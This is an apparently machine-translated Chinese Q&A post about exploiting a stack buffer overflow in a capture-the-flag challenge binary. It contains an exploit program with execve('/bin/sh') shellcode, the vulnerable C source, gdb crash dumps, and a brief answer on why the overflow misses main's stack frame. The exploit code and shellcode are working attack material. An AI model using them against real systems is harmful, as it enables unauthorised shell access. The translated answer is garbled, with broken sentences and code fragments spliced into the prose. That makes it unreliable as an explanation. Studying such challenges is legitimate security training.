嗨,我真的坚持这个问题:这是我的代码,在我尝试溢出的代码下面:
#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
char *env[2] = {sc, NULL};
char buf[B];
int i;
int *ap = (int*)(buf + A);
int ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
FILE *file;
for (i = 0; i < B - 4; i += 4)
{
if (i == 136)
*ap++ = 0xbffffc64;
else if (i == 98)
{
*ap++ = "/challenge/app-systeme/.passwd";//edx
}
else
{
if (i >= 50)
*ap++ = 0x42424242;
else if (i < 50)
*ap++ = 0xbfffffb1;//0x45454545;
}
}
file = fopen("/tmp/toto/COUCOU", "a+");
fprintf(file, "%s%s", "USERNAME=", buf);
fclose(file);
printf("AAAAWESOME");
execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}
易受攻击的代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFER 512
struct Init
{
char username[128];
uid_t uid;
pid_t pid;
};
void cpstr(char *dst, const char *src)
{
for(; *src; src++, dst++)
{
*dst = *src;
}
*dst = 0;
}
void chomp(char *buff)
{
for(; *buff; buff++)
{
if(*buff == '\n' || *buff == '\r' || *buff == '\t')
{
*buff = 0;
break;
}
}
}
struct Init Init(char *filename)
{
FILE *file;
struct Init init;
char buff[BUFFER+1];
if((file = fopen(filename, "r")) == NULL)
{
perror("[-] fopen ");
exit(0);
}
memset(&init, 0, sizeof(struct Init));
init.pid = getpid();
init.uid = getuid();
while(fgets(buff, BUFFER, file) != NULL)
{
chomp(buff);
if(strncmp(buff, "USERNAME=", 9) == 0)
{
cpstr(init.username, buff+9);
}
}
fclose(file);
return init;
}
int main(int argc, char **argv)
{
struct Init init;
if(argc != 2)
{
printf("Usage : %s <config_file>\n", argv[0]);
exit(0);
}
init = Init(argv[1]);
printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);
return 0;
}
实际上我无法达到eip,因为gdb通常会显示发生在循环中的段错误:
esi是第一个在溢出后被击碎的记录,但我仍然没有得到满足的东西。此时这是一个缓冲区大小,我甚至可以填充edi和edx,但仍然适用于什么?
eip仍无法访问吗?
通常很好:
gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB7FCFFF4 ECX: 0x42424242 EDX: 0x42424242 o d I t s z a P c
ESI: 0xBFFFFC64 EDI: 0x000001FF EBP: 0xBFFFFC64 ESP: 0xBFFFF8EC EIP: 0xB7E9CD88
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88: mov ecx,DWORD PTR [edx+0x8]
0xb7e9cd8b: mov edx,DWORD PTR [edx]
0xb7e9cd8d: cmp eax,ecx
0xb7e9cd8f: cmovg eax,ecx
0xb7e9cd92: test edx,edx
0xb7e9cd94: jne 0xb7e9cd88
0xb7e9cd96: repz ret
0xb7e9cd98: nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0 0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1 0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2 0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3 0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4 0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5 0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6 0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7 0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75
好吧,似乎我忘了提到二进制文件的部分RELRO状态。
欢迎光明了。
(gdb) disas __uflow
Dump of assembler code for function __uflow:
0xb7e9d270 <+0>: push %esi
0xb7e9d271 <+1>: push %ebx
...
0xb7e9d37c <+268>: lea 0x0(%esi,%eiz,1),%esi
=> 0xb7e9d380 <+272>: movzbl (%edx),%eax
0xb7e9d383 <+275>: add $0x1,%edx
...
0xb7e9d3b3 <+323>: call 0xb7e92ca0
0xb7e9d3b8 <+328>: jmp 0xb7e9d2b1 <__uflow+65>
End of assembler dump.
(gdb) x/i $eax
0xb7e9c588 <_IO_file_overflow+424>: add %bh,-0x1(%eax)
(gdb) vim ok
Undefined command: "vim". Try "help".
(gdb) x/i $edx
0x806c000: Cannot access memory at address 0x806c000
(gdb)
有什么东西可以检测到溢出?
嗯,这已经解决了。但相信我,我不知道我做了什么,如果有人能教给我们所有的教训他会受欢迎。
答案 0 :(得分:0)
我没有对其进行详细分析,但似乎您init
中没有main()
溢出,init
中的Init()
溢出,但其证明具有弹性溢出因为它之后保留了513字节的缓冲区,使您与要攻击的敏感调用堆栈信息隔开。
一旦Init()
通过复制操作将此结构返回到main()
,只会复制sizeof(struct Init)
个字节,因此它不会将漏洞级联到您要攻击的函数。
我相信如果您想要在不受任何干扰的情况下触发漏洞,您应该直接覆盖main()
的{{1}},将其作为指针传递给init
,就像Init()
。